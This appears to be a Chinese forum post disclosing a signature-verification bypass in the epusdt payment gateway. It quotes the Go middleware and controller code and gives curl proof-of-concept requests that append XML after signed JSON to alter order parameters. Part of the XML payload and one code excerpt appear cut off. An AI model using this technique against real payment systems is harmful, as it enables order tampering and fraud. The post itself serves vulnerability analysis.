epusdt 没啥用的漏洞

查看 14|回复 0
作者:sduoduo233   
省流:不能零元购
先看一看这一段检查签名的 middleware:
// https://github.com/assimon/epusdt/blob/master/src/middleware/check_sign.go
func CheckApiSign() echo.MiddlewareFunc {
        return func(next echo.HandlerFunc) echo.HandlerFunc {
                return func(ctx echo.Context) error {
            
                        // 先读取所有 Body 内容
                        params, err := ioutil.ReadAll(ctx.Request().Body)
                        if err != nil {
                                return constant.SignatureErr
                        }
            
            
                        // 解码 JSON
                        // 注意这里:go 的 json 解码是不管 json 后面的垃圾数据的
                        m := make(map[string]interface{})
                        err = json.Cjson.Unmarshal(params, &m) // err 被忽略了
            
                        // 这里的 signature 可以是任意类型
                        signature, ok := m["signature"]
                        if !ok {
                                return constant.SignatureErr
                        }
            
                        // 计算 signature
                        checkSignature, err := sign.Get(m, config.GetApiAuthToken())
                        if err != nil {
                                return constant.SignatureErr
                        }
            
                        // 虽然 signature 可以是任意类型,但是这里应该是安全的
                        // 因为 go 没有 js 双等于号的自动类型转换
                        if checkSignature != signature {
                                return constant.SignatureErr
                        }
            
                        // 重置 Body
                        // 注意 JSON 后面的垃圾数据会被保留
                        ctx.Request().Body = ioutil.NopCloser(bytes.NewBuffer(params))
            
                        return next(ctx)
                }
        }
}
middleware 后面的 controller:
// https://github.com/assimon/epusdt/blob/master/src/model/request/order_request.go
type CreateTransactionRequest struct {
        OrderId     string  `json:"order_id" validate:"required|maxLen:32"`
        Amount      float64 `json:"amount" validate:"required|isFloat|gt:0.01"`
        NotifyUrl   string  `json:"notify_url" validate:"required"`
        Signature   string  `json:"signature"  validate:"required"`
        RedirectUrl string  `json:"redirect_url"`
}
// https://github.com/assimon/epusdt/blob/master/src/controller/comm/order_controller.go
func (c *BaseCommController) CreateTransaction(ctx echo.Context) (err error) {
        req := new(request.CreateTransactionRequest)
   
        // 这里用到了 echo.Context.Bind
        if err = ctx.Bind(req); err != nil {
                return c.FailJson(ctx, constant.ParamsMarshalErr)
        }
   
        if err = c.ValidateStruct(ctx, req); err != nil {
                return c.FailJson(ctx, err)
        }
   
        resp, err := service.CreateTransaction(req)
        if err != nil {
                return c.FailJson(ctx, err)
        }
   
        return c.SucJson(ctx, resp)
}
echo.Context.Bind 支持多种 mimetype ,所以说应用层可以是 XML 编码,签名是 JSON 编码
// https://github.com/labstack/echo/blob/9e73691837f52c7fdf4898cbe5bf1d157387bdb0/bind.go#L68
func (b *DefaultBinder) BindBody(c Context, i interface{}) (err error) {
        req := c.Request()
        if req.ContentLength
假设我们已经拿到了一个合法的请求:
curl -d "{\"signature\": \"10744c8a11bcf22851274f7c7222fb4d\", \"amount\": 666.0, \"order_id\": \"2\", \"notify_url\": \"https://example.com\", \"redirect_url\": \"https://example.com\"}" -H "Content-Type: application/json" http://127.0.0.1:8000/api/v1/order/create-transaction
那么就可以把 Content-Type 改称 application/xml,在 JSON 的后面附加上 XML 的请求。检查签名时会忽略后面的 XML 。
curl -d "{\"signature\": \"10744c8a11bcf22851274f7c7222fb4d\", \"amount\": 666.0, \"order_id\": \"2\", \"notify_url\": \"https://example.com\", \"redirect_url\": \"https://example.com\"}399.9https://example.comhttps://example.com1
" -H "Content-Type: application/xml" http://127.0.0.1:8000/api/v1/order/create-transaction
{"status_code":200,"message":"success","data":{"trade_id":"2024***","order_id":"3","amount":99.9,"actual_amount":13.78,"token":"***","expiration_time":***,"payment_url":"https://example.com/pay/checkout-counter/2024***"},"request_id":"***"}
在检查签名的时候会用到前面的 JSON ,所以这个请求可以通过签名验证。但是在 controller 会把 Body 当成 XML 来解码,所以实际创建的订单的参数是后面的 XML 。
这个漏洞没啥用,因为一般情况下是拿不到合法的请求的
您需要登录后才可以回帖 登录 | 立即注册

返回顶部